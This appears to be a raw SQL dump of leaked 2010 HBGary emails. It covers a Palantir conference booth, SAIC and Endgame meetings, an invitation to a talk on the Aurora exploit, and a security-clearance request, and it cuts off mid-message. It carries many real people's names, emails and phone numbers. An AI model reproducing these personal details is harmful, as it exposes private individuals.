Phil,\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nThe date is April 7 (not the 6th).\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nBob Slapnik&nbsp; |&nbsp; Vice President&nbsp; |&nbsp; HBGary,\r\nInc.\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nOffice 301-652-8885 x104&nbsp; | Mobile 240-481-1419\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nwww.hbgary.com&nbsp; |&nbsp;&nbsp;bob@hbgary.com\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nFrom:&nbsp;Bob Slapnik\r\n[mailto:bob@hbgary.com]&nbsp;\r\nSent:&nbsp;Friday, April 02,\r\n2010 9:44 AM\r\nTo:&nbsp;\'Aaron Barr\'; \'Phil\r\nWallisch\'; \'Rich Cummings\'\r\nSubject:&nbsp;RE: Message to\r\nall Palantir Conference Partners\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nPhil and Rich,\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nAaron has a booth on April 6 at a conference help by Palantir in\r\nTysons.&nbsp; He requests that one of you help by manning the booth.&nbsp;\r\nMaybe we can &#8220;tag team&#8221;.&nbsp; Phil and I have a demo via webex at 2pm that day.\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nBob\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nFrom:&nbsp;Aaron Barr\r\n[mailto:aaron@hbgary.com]&nbsp;\r\nSent:&nbsp;Thursday, April 01,\r\n2010 10:30 PM\r\nTo:&nbsp;Bob Slapnik\r\nSubject:&nbsp;Fwd: Message to\r\nall Palantir Conference Partners\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nBegin forwarded message:\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nFrom:&nbsp;Timothy Ronan &lt;tronan@palantirtech.com&gt;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nDate:&nbsp;April 1, 2010 4:32:31 PM EDT\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nTo:&nbsp;Undisclosed recipients:;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nSubject:\r\nMessage to all Palantir Conference Partners\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nPlease\r\nmake sure that your staff who will be attending the conference next week on 7\r\nApril have registered at the following site:&nbsp;http://palantirtech.eventbrite.com/\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nEveryone\r\nshould have received a Partner Booth Guide with setup details several weeks\r\nago, but I have attached it again for reference.&nbsp; Please take the time to\r\nread through this as there are highly important details included.\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nI\r\nhave also attached the conference agenda for your reference.\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nDon&#8217;t\r\nhesitate to contact me with any questions.&nbsp; Looking forward to your\r\nparticipation in the conference next week.\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nBest,\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nTim\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n_________________________________________________________\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nTim Ronan\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nPalantir Technologies | Forward Deployed Engineer\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\ntronan@palantirtech.com&nbsp;| 571.225.6179\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n_________________________________________________________\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nNo virus\r\nfound in this incoming message.\r\nChecked by AVG -&nbsp;www.avg.com\r\nVersion: 9.0.791 / Virus Database: 271.1.1/2783 - Release Date: 04/01/10\r\n02:35:00\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nAaron Barr\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nCEO\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nHBGary Federal Inc.\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nNo virus\r\nfound in this incoming message.\r\nChecked by AVG -&nbsp;www.avg.com\r\nVersion: 9.0.800 / Virus Database: 271.1.1/2785 - Release Date: 04/05/10\r\n02:32:00\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nAaron Barr\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nCEO\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nHBGary Federal Inc.\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nNo virus\r\nfound in this incoming message.\r\nChecked by AVG -&nbsp;www.avg.com\r\nVersion: 9.0.800 / Virus Database: 271.1.1/2785 - Release Date: 04/05/10\r\n02:32:00\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nAaron Barr\r\n\r\n\r\n\r\n\r\n\r\nCEO\r\n\r\n\r\n\r\n\r\n\r\nHBGary Federal Inc.\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\nNo virus\r\nfound in this incoming message.\r\nChecked by AVG - www.avg.com\r\nVersion: 9.0.800 / Virus Database: 271.1.1/2785 - Release Date: 04/05/10\r\n02:32:00\r\n\r\n\r\n\r\n\r\n\r\n\r\n',9275,'aaron_hbgary_com/9275.html'),(4943,'2010-04-05','\"Mulville, Michael E.\" <MICHAEL.E.MULVILLE@saic.com>','/aaron@hbgary.com/new/1297003170.M666625P3547Q4943.eml','\"Aaron Barr\" <aaron@hbgary.com>','RE: Virtual Introduction','\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\nAaron &#8211; Now looks like April 9th &#8211; per NSA\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\nr /Mike\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nFrom: Aaron Barr\r\n[mailto:aaron@hbgary.com] \r\nSent: Monday, April 05, 2010 2:19 PM\r\nTo: Mulville, Michael E.\r\nSubject: Re: Virtual Introduction\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\nHey Mike,\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nAny word?\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nAaron\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nOn Mar 16, 2010, at 9:35 PM, Mulville, Michael E. wrote:\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nAaron &#8211;\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nAnnouncement slipped til March 31\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nMike\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nFrom:&nbsp;Aaron Barr\r\n[mailto:aaron@hbgary.com]&nbsp;\r\nSent:&nbsp;Friday, March 12,\r\n2010 4:52 PM\r\nTo:&nbsp;Mulville, Michael E.\r\nSubject:&nbsp;Re: Virtual\r\nIntroduction\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nHey Mike,\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nJust checking in. &nbsp;Last time we talked we didn\'t talk\r\nabout NANA. &nbsp;If you win are you guys going to need any staffing help?\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nHave a good weekend.\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nAaron\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nOn Jan 26, 2010, at 8:44 AM, Mulville, Michael E. wrote:\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nAaron &#8211;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nThanks for the note back.&nbsp; This week is a bit crazy,&nbsp;\r\nhow about next ?\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nMike\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nFrom:&nbsp;Aaron Barr\r\n[mailto:aaron@hbgary.com]&nbsp;\r\nSent:&nbsp;Monday, January 25,\r\n2010 11:29 PM\r\nTo:&nbsp;Mulville, Michael E.\r\nSubject:&nbsp;Re: Virtual\r\nIntroduction\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nI actually didn\'t head out to DC3. &nbsp;I will be out in\r\nColorado Springs most of next week. &nbsp;How does your week this week look.\r\n&nbsp;I am pretty stuck tomorrow and Friday but can do something Wed/Thurs?\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nAaron\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nOn Jan 24, 2010, at 3:26 PM, Mulville, Michael E. wrote:\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nMatt &#8211;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nThanks for the introduction.\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nAaron, I&#8217;m meeting up with Bob Slapnik shortly to discuss\r\nneeds, and direction.\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nI assuming your headed out to the DC3 show in St. Louis, but\r\nmight be a good idea to meet up, upon your return.\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nThanks &#8211; Mike Mulville\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nMike\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nFrom:&nbsp;Matt O\'Flynn\r\n[mailto:matt@hbgary.com]&nbsp;\r\nSent:&nbsp;Thursday, January\r\n21, 2010 1:50 PM\r\nTo:&nbsp;Mulville, Michael E.;&nbsp;michael.p.courtny@saic.com; \'Aaron\r\nBarr\'\r\nSubject:&nbsp;Virtual\r\nIntroduction\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nMike\r\n&amp; Michael,\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nGood\r\nseeing you yesterday. Please meet Aaron, who is the CEO of HBGary Federal , our\r\nsubsidiary who is specializing in the services we discussed. See contact info\r\nbelow. Hopefully you will find one another&#8217;s capabilities very\r\ncomplementary.\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nAaron\r\nBarr\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n719-510-8478-Cell\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nMike\r\nMulville\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n703-622-9121\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nMichael\r\nCourtny&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n443-306-5683\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nBest,\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nMatt\r\nO\'Flynn\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n954-559-6934\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nwww.hbgary.com\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nAaron Barr\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nCEO\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nHBGary Federal Inc.\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nAaron Barr\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nCEO\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nHBGary Federal Inc.\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nAaron Barr\r\n\r\n\r\n\r\n\r\n\r\nCEO\r\n\r\n\r\n\r\n\r\n\r\nHBGary Federal Inc.\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n',15518,'aaron_hbgary_com/15518.html'),(4944,'2010-04-05','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297003170.M864797P3547Q4944.eml','\"Ted Vera\" <ted@hbgary.com>','Holy Shit','http://collateralmurder.com/\r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n\r\n\r\n',10665,'aaron_hbgary_com/10665.html'),(4945,'2010-04-05','jmfarrell@yahoo.com','/aaron@hbgary.com/new/1297003171.M283862P3547Q4946.eml','\"Aaron Barr\" <aaron@hbgary.com>,\"Aaron Barr\" <aaron@hbgary.com>','Fw: Aurora Exploit Talk at SAIC','Small world! Good seeing you at Panera today.\r\nNow that you know the situation, I look forward to talking with you tomorrow.\r\nSee you at 1pm @ 23rd st starbucks in crystal city tomorrow.\r\nJohn\r\n------Original Message------\r\nTo: Aaron Barr\r\nSubject: Re: Aurora Exploit Talk at SAIC\r\nSent: Apr 5, 2010 11:03 AM\r\n\r\nOk, let\'s meet in Crystal City tomorrow @ 1pm. 23rd street Starbucks work for you?\r\n\r\n------Original Message------\r\nFrom: Aaron Barr\r\nTo: John M Farrell\r\nSubject: Re: Aurora Exploit Talk at SAIC\r\nSent: Apr 5, 2010 10:56 AM\r\n\r\nSounds good.  I will be at Palantir GovCon all day Wednesday and have some meeting mid day Thursday in DC.  I am pretty free the rest of the week.\r\n\r\nAaron\r\n\r\nOn Apr 5, 2010, at 10:52 AM, John Farrell wrote:\r\n\r\n> Aaron,\r\n> Good to see you on this agenda.\r\n> \r\n> Let me know your availability to reconnect this week. I will be in Crystal City tomorrow and would be available to meet after lunch.\r\n> \r\n> I have some updates to share with you too. Thanks\r\n> \r\n> John\r\n> 7036229025\r\n> John M Farrell\r\n> VP Federal, Endgame Systems\r\n> 703.622.9025 M\r\n> \r\n> ----- Original Message -----\r\n> From: Estell, Timothy W. \r\n> To: Fodor, Ronald J. ; Blackburn, Jonathan T. ; Murray, Katea S. ; Horton, Andrew M. ; Dexter, Gordon M. ; Bray, Erik M. ; Johnson, Eric S. ; Chan, Cheng-Chia ; Ken Zatyko ; Carl M. Powell ; Ray Gazaway; John Farrell\r\n> Sent: Mon Apr 05 07:55:21 2010\r\n> Subject: Aurora Exploit Talk at SAIC\r\n> \r\n> All,\r\n> \r\n> Scott Sheldon has posted invitations on Facebook and LinkedIn to our\r\n> next Tech Tuesday talk.\r\n> \r\n> Tuesday, April 27th at 1600 in SAIC\'s conference room at 6841 Benjamin\r\n> Franklin Drive.\r\n> \r\n> This should be a good talk with some insight beyond what we\'ve all read\r\n> in the news. Google \"aurora exploit\"\r\n\r\n------Original Message Truncated------\r\n\r\nSent via BlackBerry by AT&T',13897,'aaron_hbgary_com/13897.html'),(4946,'2010-04-05','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297003171.M472356P3547Q4947.eml','\"Ted Vera\" <ted@hbgary.com>','Fwd: Checking in','From my iPhoneBegin forwarded message:From: &quot;Clair, Chris (TASC)&quot; &lt;CHRISTOPHER.CLAIR@tasc.com&gt;\r\nDate: April 5, 2010 3:06:48 PM EDTTo: &quot;Aaron Barr&quot; &lt;aaron@hbgary.com&gt;Subject: RE: Checking in\r\n\r\n\r\n\r\n\r\nHi Aaron,\r\n\r\n \r\n\r\nI got the OK from my boss.  Can we get Ted to fill out a\r\nnew SF86?  I can start the other paperwork here.\r\n\r\n \r\n\r\nThanks,\r\n\r\n \r\n\r\nChris \r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\nFrom: Aaron Barr\r\n[mailto:aaron@hbgary.com] \r\nSent: Monday, April 05, 2010 9:59 AM\r\nTo: Clair, Chris (TASC)\r\nSubject: Re: Checking in\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\nI think him cleared would be very helpful.  Let me know\r\nhow you want to proceed.\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\nAaron\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\nOn Apr 1, 2010, at 11:58 AM, Clair, Chris (TASC) wrote:\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nHi Aaron,\r\n\r\nIs there anything we want to do with Ted&#39;s clearance?  I think I can get\r\nthe OK from my customer to initiate a new clearance.  From what I\r\nunderstand, Ted is very instrumental in the COIN processes.  Let me know\r\nwhat you think.\r\n\r\nChris\r\n\r\n\r\n-----Original Message-----\r\nFrom: Aaron Barr [mailto:aaron@hbgary.com]\r\nSent: Thu 4/1/2010 10:38 AM\r\nTo: Lovegrove, John (TASC)\r\nCc: Clair, Chris (TASC); Garcia, Kathy (TASC)\r\nSubject: Re: Checking in\r\n\r\nI haven&#39;t I will check.\r\n\r\n\r\n From my iPhone\r\n\r\nOn Apr 1, 2010, at 9:37 AM, &quot;Lovegrove, John (TASC)&quot; &lt;John.Lovegrove@tasc.com\r\n &gt; wrote:\r\n\r\n&gt; Hey Aaron,\r\n&gt;\r\n&gt; We are still pulling the team together on COIN, we have a follow up\r\n&gt; discussion with SAIC tomorrow. I got a random report that the\r\n&gt; competition was cancelled, did you hear anything about this?\r\n&gt;\r\n&gt;\r\n&gt; John Lovegrove\r\n&gt; Director\r\n&gt; Office: (703) 449-3812\r\n&gt; Cell: (571) 294-5154\r\n&gt;\r\n&gt;\r\n&gt;\r\n&gt; TASC INTERNAL DISTRIBUTION ONLY\r\n&gt; This e-mail, including attachments, is intended for the exclusive\r\n&gt; use of\r\n&gt; the person or entity to whom it is addressed and may contain\r\n&gt; confidential or privileged information. If the reader of this e-mail\r\n&gt; is\r\n&gt; not the intended recipient or his or her authorized agent, the\r\n&gt; reader is\r\n&gt; hereby notified that any dissemination, distribution or copying of\r\n&gt; this\r\n&gt; e-mail is prohibited. If you think that you have received this e-\r\n&gt; mail in\r\n&gt; error, please advise the sender by reply e-mail of the error and then\r\n&gt; delete this e-mail immediately.\r\n&gt;\r\n&gt; -----Original 